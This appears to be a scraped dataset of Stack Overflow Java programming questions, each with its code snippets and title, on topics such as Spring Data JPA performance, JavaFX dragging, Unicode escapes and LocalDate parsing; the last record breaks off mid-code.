E/AndroidRuntime ( 6863 ) : at > android.view.View.performClick ( View.java:4881 ) 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : at > android.view.View $ PerformClick.run ( View.java:19592 ) 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > android.os.Handler.handleCallback ( Handler.java:733 ) 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > android.os.Handler.dispatchMessage ( Handler.java:95 ) 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > android.os.Looper.loop ( Looper.java:146 ) 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : at > android.app.ActivityThread.main ( ActivityThread.java:5756 ) 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > java.lang.reflect.Method.invokeNative ( Native Method ) 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > java.lang.reflect.Method.invoke ( Method.java:515 ) 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : at > com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:1291 ) > 09-29 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:1107 ) 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > dalvik.system.NativeStart.main ( Native Method ) 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : Caused by : > java.lang.reflect.InvocationTargetException 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : at > java.lang.reflect.Method.invokeNative ( Native Method ) 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > java.lang.reflect.Method.invoke ( Method.java:515 ) 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : at > android.view.View $ 1.onClick ( View.java:4030 ) 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : ... 11 more 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : Caused by : > com.firebase.client.FirebaseException : Failed to parse node with class > class com.xxx.xxx.xxx.User 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > com.firebase.client.snapshot.NodeUtilities.NodeFromJSON ( NodeUtilities.java:84 ) > 09-29 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > com.firebase.client.snapshot.NodeUtilities.NodeFromJSON ( NodeUtilities.java:12 ) > 09-29 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > com.firebase.client.utilities.Validation.parseAndValidateUpdate ( Validation.java:127 ) > 09-29 18:03:21.680 : E/AndroidRuntime ( 6863 ) : at > com.firebase.client.Firebase.updateChildren ( Firebase.java:438 )",Android Firebase 2.4 IllegalStateException using new ref.updateChildren ( ) +Java,"When extracting a variable ( ctrl+alt+v ) in Intellij IDEA with Java 11 , I would like for the default to be that it is extracted to a var instead of the verbose type . instead of Is there a way to configure Intellij IDEA to do this ?",var home = `` 127.0.0.1 '' ; String home = `` 127.0.0.1 '' ;,Variable extraction to var in Intellij IDEA +Java,"I 've started using libgdx and am trying to simply make a circle with a pretty thick stroke . As of yet I have not found anyway to make a stroke at all . pixmap.setStrokeWidth ( ) is even in the API but appears to have been removed ( ? ) , and Gdx.gl10.glLineWidth ( width ) ; has no effect . How can I just change the stroke of the line ? Here is a snippet of my current code :","@ Overridepublic void create ( ) { w = Gdx.graphics.getWidth ( ) ; batch = new SpriteBatch ( ) ; pixmap = new Pixmap ( 2 * w , 2 * w , Pixmap.Format.RGBA8888 ) ; pixmap.setColor ( Color.BLACK ) ; pixmap.drawCircle ( w , w , w ) ; texture = new Texture ( pixmap ) ; pixmap.dispose ( ) ; sprite = new Sprite ( texture ) ; } @ Overridepublic void render ( ) { Gdx.gl.glClearColor ( 1 , 1 , 1 , 1 ) ; Gdx.gl.glClear ( GL20.GL_COLOR_BUFFER_BIT ) ; batch.begin ( ) ; sprite.setPosition ( -w / 2 , -w ) ; sprite.draw ( batch ) ; batch.end ( ) ; }",Libgdx circle with linewidth +Java,"I was working to automate same java code execution using JNLP and I was surprised to discover that jawaws did not gave me a valid return code.Original execution line was : This did showed an ugly window with `` Unable to launch application . '' message.As you can image I tried to make this not require a GUI and tried : But even if this command fails , it will still return 0 , success . How to solve this ?",javaws -wait http : //example.com:666/missing.jnlp javaws -wait -Xnosplash -import -silent http : //example.com:666/missing.jnlp,Are javaws exit codes really broken ? +Java,"In Java , I can get a BigInteger from a String like this : Which will printI 'm trying to get the same result in JavaScript using the big-integer library . But as you can see this code returns a different value : output : Is there a way to get the result I 'm getting in Java with JavaScript ? And would that be possible also if the array has a length of 32 ?","public static void main ( String [ ] args ) { String input = `` banana '' ; byte [ ] bytes = input.getBytes ( StandardCharsets.UTF_8 ) ; BigInteger bigInteger = new BigInteger ( bytes ) ; System.out.println ( `` bytes : `` + Arrays.toString ( bytes ) ) ; System.out.println ( `` bigInteger : `` + bigInteger ) ; } bytes : [ 98 , 97 , 110 , 97 , 110 , 97 ] bigInteger : 108170603228769 var bigInt = require ( 'big-integer ' ) ; function s ( x ) { return x.charCodeAt ( 0 ) ; } var bytes = `` banana '' .split ( `` ) .map ( s ) ; var bigInteger = bigInt.fromArray ( bytes ) ; console.log ( `` bytes : `` + bytes ) ; console.log ( `` bigInteger : `` + bigInteger ) ; bytes : 98,97,110,97,110,97bigInteger : 10890897",Java convert byte [ ] to BigInteger +Java,"Imagine I 'm making a simple Word Processor with Java Swing . I 've got a set of Actions written to perform text justification . On the MenuBar I 've got a menu : This consists of JRadioButtonMenuItems and a ButtonGroup to ensure only one item is selected at any one time.Also , imagine I 've got an equivalent toolbar consisting of JToggleButtons and again a ButtonGroup to ensure only only button can be active at any one time.The `` Left Justify '' JRadioButtonMenu and JToggleButton are initialised using the same Action , and so on with the other items.My question is this : what is the best method for syncronizing the two groups ? If I click `` Right Justify '' icon on the toolbar , I want the group in the Menu to be updated accordingly , and vice versa .",View Left Justify Center Jusitfy Right Justify,Sync JMenu ButtonGroups with JToolbar ButtonGroups +Java,"I am new to object oriented coding and I have the following problem . ( note that this solution is part of my problem ) I need a variable that many objects can refer to , but keep some `` private '' information for each object . To be more specific , I created a class called Worker and I want every object of that class to have a unique ID of type int . So , first object has ID=1 , second ID=2 etc ... Note that I do n't want just a random integer , whereas I need to start counting from 0 and increment ... Declaration and initialization of the variable in the classand I tried to implement incremention by adding this line of code in the constructor bodyI instantiate some objects , add them to an ArrayList and using a for loop I print each object 's variables.and getWorkerId ( ) ( class method ) consists of Problem is my programm wo n't print every unique workID ( because there is n't ) , but the last value of the static variable ( which happens to be the number of objects ) .Can you describe a solution to my problem ?",static private int workId = 0 ; workId++ ; System.out.println ( `` Worker ID : `` +workerList.get ( i ) .getWorkerId ( ) ) ; public int getWorkerId ( ) { return this.workId ; },Java : Many-object variable ( static ) +Java,"I 've got a piece of code that is used to turn string representations delivered by Class.getCanonicalName ( ) into their corresponding instances of Class . This usually can be done using ClassLoader.loadClass ( `` className '' ) . However , it fails on primitive types throwing a ClassNotFoundException . The only solution I came across was something like this : That seems very nasty to me , so is there any clean approach for this ?",private Class < ? > stringToClass ( String className ) throws ClassNotFoundException { if ( `` int '' .equals ( className ) ) { return int.class ; } else if ( `` short '' .equals ( className ) ) { return short.class ; } else if ( `` long '' .equals ( className ) ) { return long.class ; } else if ( `` float '' .equals ( className ) ) { return float.class ; } else if ( `` double '' .equals ( className ) ) { return double.class ; } else if ( `` boolean '' .equals ( className ) ) { return boolean.class ; } return ClassLoader.getSystemClassLoader ( ) .loadClass ( className ) ; },Using primitive types with ClassLoader +Java,Say I have an immutable DecimalNumber class : and I decide to implement add like this : Should I return this ( less memory use ) or a copied object new DecimalNumber ( this ) ? I would think simply returning this should be fine but is there ever a benefit to or reason for creating a new object or is it ever preferred ?,public final class DecimalNumber { public final String str ; public DecimalNumber ( String str ) { this.str = str ; } public DecimalNumber ( DecimalNumber copy ) { this ( copy.str ) ; } public boolean isZero ( ) { ... } public DecimalNumber add ( DecimalNumber other ) { ... } ... } public DecimalNumber add ( DecimalNumber other ) { if ( other.isZero ( ) ) return /* the same object */ ... },Do immutable types need copy constructors ? +Java,"I have created two basic projects to compare frameworks . When doing development on a recent project at work I noticed that the queries were running extremely slow when using Spring Data JPA.I set up a small experiment to test NodeJS vs Spring Boot in order to find out if it was the database or the framework.SELECT * FROM v $ version ; Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit ProductionThis database is located 400 miles away at another facility , introducing around 60-80ms of network latency.There are 4533 records in this database in our test environment . We have approximately 9000 in production . This experiment will be run using the test environment . Spring Setup : start.spring.io and select Web , JPA , Oracle Driver , lombokCreated a entity classand then a simple repository to run the findAll ( ) queryand finally a controllerI used application.properties to connect to the databse NodeJS setupJust a simple express app with oracledb installed . users.js is just a router or rest endpoint where I run my queryBenchmark testsFor Spring Data JPA I did this benchmark testOutput : NodeJS benchmarks were calculated similarly using a difference between start time in milliseconds and end time in milliseconds . Experiment resultsI have run the query 100 times in both environments and have gathered the following average times . Spring Boot : 23.4 secondsNodeJS : 2.9 secondsOracle SQL Developer : 2.6 secondsSpring boot is taking roughly 8 times longer than node JS when gathering 4533 records ( in my specific case ) . Why ?","-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ID NOT NULL NUMBER AR VARCHAR2 ( 10 ) MOD_TIME DATE MOD_UID VARCHAR2 ( 10 ) ACTIVE_IND VARCHAR2 ( 1 ) WORK_ID NUMBER @ Entity @ Table ( name = `` t_test '' ) @ Datapublic class TTest implements Serializable { private static final long serialVersionUID = 3305605889880335034L ; @ Id @ Column ( name = `` ID '' ) private int id ; @ Column ( name = `` AR '' ) private String ar ; @ Column ( name = `` mod_time '' ) private Timestamp modTime ; @ Column ( name = `` mod_uid '' ) private String modId ; @ Column ( name = `` active_ind '' ) private String activeInd ; @ Column ( name = `` work_id '' ) private Integer wid ; } @ Repositorypublic interface TTestRepo extends JpaRepository < TTest , Integer > { } @ RestController @ Slf4jpublic class TestController { @ Autowired TTestRepo repo ; @ GetMapping ( `` /testDb '' ) public List < TTest > testDb ( ) { return repo.findAll ( ) ; } } spring.datasource.url=blahspring.datasource.username=blahspring.datasource.password=blahspring.datasource.driver-class-name=oracle.jdbc.driver.OracleDriverspring.jpa.show-sql=truelogging.level.org.hibernate.SQL=DEBUG const express = require ( 'express ' ) var oracledb = require ( 'oracledb ' ) oracledb.getConnection ( { //removed for obvious reasons } , function ( err , connection ) { console.log ( 'trying to connect ... ' ) if ( err ) { console.error ( err ) return } global.connection = connection } ) global.transformResults = function transformResults ( result ) { let finalResults = [ ] let obj = { } result.rows.forEach ( ( row ) = > { result.metaData.forEach ( ( meta , j ) = > { obj [ meta.name ] = row [ j ] } ) finalResults.push ( obj ) obj = { } } ) return finalResults } // Create express instnaceconst app = express ( ) // Require API routesconst users = require ( './routes/users ' ) // Import API Routesapp.use ( users ) // Export the server middlewaremodule.exports = { path : '/api ' , handler : app } const { Router } = require ( `` express '' ) ; const router = Router ( ) ; router.get ( `` /testDb '' , async function ( req , res , next ) { connection.execute ( `` SELECT * from t_test '' , function ( err , result ) { if ( err ) { console.error ( err ) return } res.json ( transformResults ( result ) ) ; } ) } ) ; module.exports = router ; /** * @ author Jake Perkins on 11/20/2019 */ @ RunWith ( SpringRunner.class ) @ SpringBootTestpublic class BenchMark { @ Autowired TestController controller ; @ Test public void benchmarkDb ( ) { int testLength = 100 ; long startTime = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < testLength ; i++ ) { controller.testDb ( ) ; //Measure execution time for this method } long endTime = System.currentTimeMillis ( ) ; long durationInMillis = ( endTime - startTime ) ; //Total execution time in milliseconds BigDecimal averageInSeconds = BigDecimal.valueOf ( durationInMillis/testLength ) .movePointLeft ( 3 ) ; System.out.println ( averageInSeconds ) ; } } 23.463",Why is my Spring Data JPA query 8 times slower than Node.JS + oracledb ? +Java,"I read from the Java doc of Character , that The set of characters from U+0000 to U+FFFF is sometimes referred to as the Basic Multilingual Plane ( BMP ) But I tried the following code , and found there is 2492 int is not defined ! Is there any thing wrong ? Or I have some misunderstanding ? Thanks ! Output : 2492",public static void main ( String [ ] args ) { int count=0 ; for ( int i = 0x0000 ; i < 0xFFFF ; i++ ) { if ( ! Character.isDefined ( i ) ) { count++ ; } } System.out.println ( count ) ; },Why some int from 0x0000 to 0xFFFF is not a defined unicode character +Java,"Very weird problem , I finally managed to distill it into a small piece of code which demonstrates the problem . I have a pane , which contains 1 group , that groups contains a group which contains some ellipses . The top group has a rotate transform applied to it . The ellipses are made draggable.Try the below example , drag some ellipses downwards ( outside the group 's bounds ) , you 'll see them disappearing . If you maximize the window , they appear again but you ca n't drag them anymore , they do n't receive any events anymore.Now for the really strange part , there are three ways I can make the problem go away : do n't apply the transformremove one ellipse ( ! ? ) ( I experimented to get to this number , 11 ) start ScenicView alongside and select the group containing the ellipses so you can see the bounds of the groupI 'm at a total loss here , completely stupefied . Please , does anyone have any idea why this problem is occuring and how to solve it ? Code ( JavaFX 2.2.3 and java 1.7.0_09 64bit Windows 7 ) :","import javafx.application.Application ; import javafx.event.EventHandler ; import javafx.geometry.Point2D ; import javafx.scene.Group ; import javafx.scene.GroupBuilder ; import javafx.scene.Node ; import javafx.scene.Scene ; import javafx.scene.SceneBuilder ; import javafx.scene.input.MouseEvent ; import javafx.scene.layout.Pane ; import javafx.scene.shape.Ellipse ; import javafx.scene.shape.EllipseBuilder ; import javafx.scene.transform.Rotate ; import javafx.scene.transform.RotateBuilder ; import javafx.stage.Stage ; public class DragProblem extends Application { public static void main ( String [ ] args ) { launch ( args ) ; } @ Overridepublic void start ( Stage primaryStage ) { DrawingPane drawingPane = new DrawingPane ( ) ; drawingPane.setStyle ( `` -fx-background-color : darkgrey ; '' ) ; Scene scene = SceneBuilder.create ( ) .root ( drawingPane ) .width ( 1280d ) .height ( 1024d ) .build ( ) ; primaryStage.setScene ( scene ) ; primaryStage.show ( ) ; } public class DrawingPane extends Pane { private Group transformedGroup ; private Group splinePoints ; public DrawingPane ( ) { transformedGroup = GroupBuilder.create ( ) .id ( `` transformedGroup '' ) .build ( ) ; getChildren ( ) .add ( transformedGroup ) ; addPoints ( ) ; makePointsDraggable ( ) ; } public void addPoints ( ) { double [ ] coords = new double [ ] { // comment any one the below x , y coordinates and the problem does n't occur.. 239.28353881835938 , 488.2192687988281 , 245.04466247558594 , 505.30169677734375 , 258.56671142578125 , 539.49462890625 , 267.2294006347656 , 563.618408203125 , 282.89141845703125 , 587.84033203125 , 309.6925048828125 , 602.2174072265625 , 327.4945068359375 , 616.4683227539062 , 345.25445556640625 , 633.718994140625 , 371.0416259765625 , 649.0819702148438 , 393.78704833984375 , 667.402587890625 , 442.67010498046875 , 676.0886840820312 } ; splinePoints = GroupBuilder.create ( ) .build ( ) ; for ( int i = 0 ; i < coords.length ; i += 2 ) { Ellipse ellipse = EllipseBuilder.create ( ) .radiusX ( 3 ) .radiusY ( 3 ) .centerX ( coords [ i ] ) .centerY ( coords [ i + 1 ] ) .build ( ) ; splinePoints.getChildren ( ) .add ( ellipse ) ; } transformedGroup.getChildren ( ) .add ( splinePoints ) ; Rotate rotateTransform = RotateBuilder.create ( ) .build ( ) ; rotateTransform.setPivotX ( 224 ) ; rotateTransform.setPivotY ( 437 ) ; rotateTransform.setAngle ( 15 ) ; // ..or comment this line to prevent the problem occuring transformedGroup.getTransforms ( ) .add ( rotateTransform ) ; } public void makePointsDraggable ( ) { for ( final Node n : splinePoints.getChildren ( ) ) { Ellipse e = ( Ellipse ) n ; final NodeDragHandler ellipseDragHandler = new NodeDragHandler ( e , transformedGroup ) ; e.setOnMousePressed ( ellipseDragHandler ) ; e.setOnMouseDragged ( ellipseDragHandler ) ; } } } public class NodeDragHandler implements EventHandler < MouseEvent > { protected final Ellipse node ; private final Node transformedGroup ; private double initialX ; private double initialY ; private Point2D initial ; private boolean dragStarted = false ; public NodeDragHandler ( Ellipse node , Group transformedGroup ) { this.node = node ; this.transformedGroup = transformedGroup ; } @ Override public void handle ( MouseEvent event ) { if ( ! dragStarted ) { initialX = event.getScreenX ( ) ; initialY = event.getScreenY ( ) ; initial = transformedGroup.localToParent ( new Point2D ( node.getCenterX ( ) , node.getCenterY ( ) ) ) ; dragStarted = true ; } else { double xDragged = event.getScreenX ( ) - initialX ; double yDragged = event.getScreenY ( ) - initialY ; Point2D newPos = new Point2D ( initial.getX ( ) + xDragged , initial.getY ( ) + yDragged ) ; Point2D p = transformedGroup.parentToLocal ( newPos.getX ( ) , newPos.getY ( ) ) ; node.setCenterX ( p.getX ( ) ) ; node.setCenterY ( p.getY ( ) ) ; } } } }",dragging nodes when their parent has a transformation results in nodes disappearing +Java,I had been dealing with a KeyEvent issue . I wanted to catch the Begin key for a shortcut but I could n't because the controller did n't notice . Finally I realize that I was trying to catch the wrong key . I should have to catch the Home key . ( KeyEvent.VK_HOME ) I found this in the source code : What is the Begin key ?,/** * Constant for the Begin key . * @ since 1.5 */public static final int VK_BEGIN = 0xFF58 ;,What is the begin key ? +Java,I 'm trying to parse the String FEBRUARY 2019 into a LocalDate.This is my approach : Or alternatively setting the Locale.US : But all I get is the following exception :,"LocalDate month = LocalDate.parse ( `` FEBRUARY 2019 '' , DateTimeFormatter.ofPattern ( `` MMMM yyyy '' ) ) ; LocalDate month = LocalDate.parse ( `` FEBRUARY 2019 '' , DateTimeFormatter.ofPattern ( `` MMMM yyyy '' , Locale.US ) ) ; Exception in thread `` main '' java.time.format.DateTimeParseException : Text 'FEBRUARY 2019 ' could not be parsed at index 0",Parsing Date in UpperCase to LocalDate +Java,"This code : compiles just fine in eclipse , but javac ( both version 1.6.0_27 and 1.7.0 ) gives the following error : Why ? I assume it 's some kind of compiler flag , but digging trough eclipse to figure it out is not exactly straight forward .","Integer ints [ ] = new Integer [ ] { ' 1 ' , ' 2 ' , ' 3 ' } ; BoxTest.java:4 : incompatible typesfound : charrequired : java.lang.Integer Integer ints [ ] = new Integer [ ] { ' 1 ' , ' 2 ' , ' 3 ' } ; BoxTest.java:4 : incompatible types",Why does automatic boxing work in eclipse but not in javac ? +Java,"I 'm currently creating a console implementation of a game of 5 card draw poker in Java.I have a class called HandOfCards , which will handle the proceedings of an individual hand - dealing players their cards , betting and determining the winner . I also have a class called GameOfPoker which facilitates multiple hands of poker , representing the full sitting of a game of poker.I will construct the HandOfPoker instance for GameOfPoker as such : My question is , in GameOfPoker should I instantiate a new object or should I define a reset method in HandOfPoker : Intuitively , it feels like the reset ( ) approach seems better - as to instantiate a new object seems more costly as a new instance has to be created , and the old one has to be trashed.Is there a best practice approach here , or is the difference between the two approaches small enough that it does n't really matter ?","HandOfPoker handOfPoker = new HandOfPoker ( List < PokerPlayer > players , DeckOfCards deck ) ; public class HandOfPoker { public void reset ( List < PokerPlayer > players ) { this.players = players ; } } public class GameOfPoker { public play ( ) { // carry out game // then after a hand , I could either instantiate : //handOfPoker = new HandOfPoker ( players , deck ) ; // or I could reset : handOfPoker.reset ( ) ; // now I 'm ready to play another hand . } }",Instantiating new object vs. implementing a reset ( ) method +Java,"A few days ago , i was asked about this program 's output : My first thought was this program should print the a\u0022.length ( ) + \u0022b length , which is 16 but surprisingly , it printed 2 . I know \u0022 is the unicode for `` but i thought this `` going to be escaped and only represent one `` literal , with no special meaning . And in reality , Java somehow parsed this string as following : I ca n't wrap my head around this weird behavior , Why Unicode escapes do n't behave as normal escape sequences ? Update Apparently , this was one of brain teasers of the Java Puzzlers : Traps , Pitfalls , and Corner Cases book written by Joshua Bloch and Neal Gafter . More specifically , the question was related to Puzzle 14 : Escape Rout .",public static void main ( String [ ] args ) { // \u0022 is the Unicode escape for double quote ( `` ) System.out.println ( `` a\u0022.length ( ) + \u0022b '' .length ( ) ) ; } System.out.println ( `` a '' .length ( ) + `` b '' .length ( ) ) ;,Unicode escape behavior in Java programs +Java,"When I try to import a Gradle project in IntelliJ IDEA , I get the following error : The IDE log starts out as follows : Versions : IntelliJ 13.1.4Gradle 1.12Ubuntu 14.04Minimal example : If I try to create a new project , I get :",[ 1314928 ] WARN - nal.AbstractExternalSystemTask - ( of class java.lang.String ) com.intellij.openapi.externalSystem.model.ExternalSystemException : ( of class java.lang.String ) at org.jetbrains.plugins.gradle.service.project.AbstractProjectImportErrorHandler.createUserFriendlyError ( AbstractProjectImportErrorHandler.java:106 ) at org.jetbrains.plugins.gradle.service.project.BaseProjectImportErrorHandler.getUserFriendlyError ( BaseProjectImportErrorHandler.java:153 ) at org.jetbrains.plugins.gradle.service.project.BaseGradleProjectResolverExtension.getUserFriendlyError ( BaseGradleProjectResolverExtension.java:358 ) Error : Download http : //repo1.maven.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3-sources.jar ( of class java.lang.String ),Strange Gradle IntelliJ error +Java,"Given the following code : Why does it draw a line if the method drawLine is abstract and , as I managed to understand , an abstract method has no definition ? Thank you in advance !","import javax.swing . * ; import java.awt . * ; public class NewClass extends JPanel { public void paintComponent ( Graphics g ) { g.drawLine ( 0 , 0 , 90 , 90 ) ; } public static void main ( String [ ] args ) { JFrame jf = new JFrame ( ) ; jf.add ( new NewClass ( ) ) ; jf.setSize ( 500 , 500 ) ; jf.setVisible ( true ) ; } }",Understanding how drawLine works +Java,"I have vertex `` Person '' and edge `` Knows '' . Here is SQL example of how I created it.When I create an edge between John knows - > Annby it creates it and every thing is ok.But problem occurs when I accidentially create edge several times.For the relationship `` Knows '' duplicates are redundant , but for some other ones like `` Visited '' ( John [ Visited - > ] New York ) duplication of edges are desired feature if edge `` Visited '' has property `` date '' .I tried to solve it by adding unique index to edge `` Knows '' , but after that I am able to create edge between only one pair of vertices . And checking every time edge for existence before creation does n't seem to me a good idea as well.How to solve this in correct way ?",CREATE CLASS Person EXTENDS V ; CREATE PROPERTY Person.name STRING ; CREATE CLASS Knows EXTENDS E ; INSERT INTO Person ( name ) VALUES ( `` John '' ) INSERT INTO Person ( name ) VALUES ( `` Ann '' ) INSERT INTO Person ( name ) VALUES ( `` Harry '' ) CREATE EDGE Knows FROM ( SELECT FROM Person WHERE name = `` John '' ) TO ( SELECT FROM PERSON WHERE name = `` Ann '' ),How to prevent creating duplicates of edges between the same vertices in OrientDB ? +Java,"I have to make a simulator in Java , which will simulate car riding on highway . There should be 3 lanes on highway , in every lane there are cars with constant speed . On this highway , there is one agent , which has to drive through and not crash into any other car . Detailed description can be found in this paper at section 2.5 and picture 5.This image is from mentioned paper and shows the look of highway : My goal is to write only a simulator ( and GUI ) , not logic of agent . Now , I would like to design an architecture of this simulator and this is where I need help.My idea , how the agent 's API can look is : Agent ( car ) on highway should be a descendant of this class . In every step , simulator call function run ( ) where is the agents logic . In this function , agent can call functions like : So , in every step , agent can decide if he stay in current lane , or if he turns left or right . And that ’ s all , what can agent do.So this is agents API , but I do not know , how to design the rest of simulator . My first attempt to simulator architecture was : This is not a good architecture . In which class should be methods goLeft ( ) , goRight ( ) and getNearestCarInLane ( ) ? Because these methods has to be inside of BaseAgent class , but has to know position of every car on highway . So at the end , I had something like this : And it is terrible and ugly.So I need a little help from smarter people here . Can somebody give me a link to book , article , whatever about simulators/architecture ? Or explain my what I am doing wrong ? I am not a programmer and this project is part of an optional course at my faculty named Software engineering .","public abstract class BaseAgent { public abstract void run ( ) public abstract void onCrash ( ) ; } goLeft ( ) ; goRight ( ) ; getNearestCarInLane ( int lane_no ) ; getMySpeed ( ) ; class Agent — descendant of BaseAgent , can ride on highway.class Highway — stores position of all cars on highway.class Simulator — creates instance of agent and highway ; in every step , call agent ’ s ` run ( ) ` and monitors any car crash . Simulator s = new Simulator ( ) ; Highway h = new Highway ( ) ; Agent a = new Agent ( ) ; s.setAgent ( a ) ; s.setHighway ( h ) ; a.setHighway ( h ) ; h.setAgent ( a ) ;",What is the best architecture for this simulator ? +Java,I need help about this strange operator |= . Can you explain to me what this code does ?,@ Overridepublic boolean addAll ( Collection < ? extends E > c ) { boolean result = false ; for ( E e : c ) { result |= add ( e ) ; } return result ; },Java |= operator question +Java,"I have a Spring app -- not a Spring Boot app -- that I 'm trying to declare a section of the API as OAuth2 protected using Spring Security . My authorization and general resource access config works great when I define http elements in the XML , but when I try to implement the resource access blocks using ResourceServerConfigureAdapter # configure ( HttpSecurity ) -- complete with @ EnableResourceServer etc , that configure method never even fires ( end to end tests also fail ) . Example Java config below : I have tried declaring a few different ways of effecting the config , but no dice . Namely , I have tried both top level @ Configuration classes extending ResourceServerConfigurerAdapter and bean methods returning ResourceServerConfiguration as in Dave Syer 's example ; I 've also tried explicitly setting order to Ordered.HIGHEST_PRECEDENCE on the appropriate beans . It 's quite possibly important to note that most of the application 's legacy security config is defined via XML elements like the above . Another possible red flag about my configuration -- in order to get the token endpoint to authenticate against basic auth client_id : client_secret I had to wire my own BasicAuthFilter ( ProviderManager ( DaoAuthProvider ( ClientUserDetailsService ( clientDetailsService ) ) ) ) ) when , because it 's the vanilla and 'right ' way to authenticate the token endpoint , I 'd expect spring config to just default to it . Anyway , in no situation can I get ResourceServerConfigureAdapter # configure ( HttpSecurity ) to fire . My going theories are : Something about the preceding XML HTTP blocks is preventing myconfigure method from ever even being calledThis is simply a Spring Boot only feature -- although I 've seen no language to that effect There 's straight up some object in the application context that I 'm missing ( again , the operative annotations that I have at work -- besides the obvious @ Configuration and @ Bean -- are @ EnableWebSecurity , @ EnableAuthenticationServer , and @ EnableResourceServer ) .I 've made some configuration error ( duh ) .Any examples would be much appreciatedExample OAuth2 configuration class ( one of a few different iterations ) below : Analogogous < http > config that is picked up :","@ Override public void configure ( ResourceServerSecurityConfigurer resources ) throws Exception { resources.resourceId ( `` oauth2/control '' ) ; } @ Override public void configure ( HttpSecurity http ) throws Exception { http.antMatcher ( `` /api/** '' ) .authorizeRequests ( ) .anyRequest ( ) .hasRole ( `` OAUTH_USER '' ) .and ( ) .sessionManagement ( ) .sessionCreationPolicy ( SessionCreationPolicy.STATELESS ) .and ( ) // before=PRE_AUTH_FILTER .addFilterBefore ( oAuth2AuthenticationProcessingFilter , AbstractPreAuthenticatedProcessingFilter.class ) .csrf ( ) .disable ( ) .anonymous ( ) .disable ( ) .exceptionHandling ( ) .accessDeniedHandler ( oAuth2AccessDeniedHandler ) .authenticationEntryPoint ( loginUrlAuthenticationEntryPoint ) ; } @ Configuration @ EnableWebSecurity @ EnableResourceServerpublic class OAuth2Configuration { ... etc ... @ Bean public ResourceServerConfiguration adminResources ( ) { // copped from https : //github.com/spring-projects/spring-security-oauth/tree/master/tests/annotation/multi ResourceServerConfiguration resource = new ResourceServerConfiguration ( ) { public void setConfigurers ( List < ResourceServerConfigurer > configurers ) { super.setConfigurers ( configurers ) ; } } ; resource.setConfigurers ( Collections.singletonList ( new ResourceServerConfigurerAdapter ( ) { @ Override public void configure ( ResourceServerSecurityConfigurer resources ) throws Exception { resources.resourceId ( `` oauth2/control '' ) ; } @ Override public void configure ( HttpSecurity http ) throws Exception { http.antMatcher ( `` /api/** '' ) .authorizeRequests ( ) .anyRequest ( ) .hasRole ( `` OAUTH_USER '' ) .and ( ) .sessionManagement ( ) .sessionCreationPolicy ( SessionCreationPolicy.STATELESS ) .and ( ) // before=PRE_AUTH_FILTER .addFilterBefore ( oAuth2AuthenticationProcessingFilter , AbstractPreAuthenticatedProcessingFilter.class ) .csrf ( ) .disable ( ) .anonymous ( ) .disable ( ) .exceptionHandling ( ) .accessDeniedHandler ( oAuth2AccessDeniedHandler ) .authenticationEntryPoint ( loginUrlAuthenticationEntryPoint ) ; } } ) ) ; resource.setOrder ( Ordered.HIGHEST_PRECEDENCE ) ; return resource ; } @ Configuration @ EnableAuthorizationServer public static class OAuth2AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter { ... etc ... } } < sec : http pattern= '' /api/** '' create-session= '' stateless '' entry-point-ref= '' loginUrlAuthenticationEntryPoint '' > < sec : anonymous enabled= '' false '' / > < sec : csrf disabled= '' true '' / > < ! -- csrf tokens do n't make sense for a 3rd party API -- > < sec : custom-filter ref= '' oauth2ProcessingFilter '' before= '' PRE_AUTH_FILTER '' / > < sec : access-denied-handler ref= '' oauthAccessDeniedHandler '' / > < sec : intercept-url pattern= '' /api/** '' access= '' hasRole ( 'OAUTH_USER ' ) '' / > < /sec : http >",Spring Security OAuth Java Config +Java,"By using the Matcher and the regex above , I get any repeat . However , I only want repeats of size 2 or greater . When I tried doing the regex of , nothing was returned when I executed the program even though there was a repeat between length 2 and 100 . What am I doing wrong ?","import java.util.regex.Matcher ; import java.util.regex.Pattern ; public class test { public static void main ( String [ ] args ) { String a = '' 12341234 '' ; String regex= '' ^ ( \\d+ ? ) \\1 $ '' ; Pattern p=Pattern.compile ( regex ) ; Matcher matcher = p.matcher ( a ) ; while ( matcher.find ( ) ) { System.out.println ( matcher.group ( 1 ) ) ; } } } ^ ( \\d+ ? ) { 2,100 } \\1 $",How do I use a regex to find a consecutive repeat in a string ( i.e . [ 12 ] [ 12 ] ) but only of length 2 or greater ? +Java,I have a basic Android TensorFlowInference example that runs fine in a single thread.The example crashes with various exceptions including java.lang.ArrayIndexOutOfBoundsException and java.lang.NullPointerException when running in a ThreadPool as per the below example so I guess it 's not thread safe.Is it possible to leverage multicore Android devices with TensorFlowInferenceInterface ?,"public class InferenceExample { private static final String MODEL_FILE = `` file : ///android_asset/model.pb '' ; private static final String INPUT_NODE = `` intput_node0 '' ; private static final String OUTPUT_NODE = `` output_node0 '' ; private static final int [ ] INPUT_SIZE = { 1 , 8000 , 1 } ; public static final int CHUNK_SIZE = 8000 ; public static final int STRIDE = 4 ; private static final int NUM_OUTPUT_STATES = 5 ; private static TensorFlowInferenceInterface inferenceInterface ; public InferenceExample ( final Context context ) { inferenceInterface = new 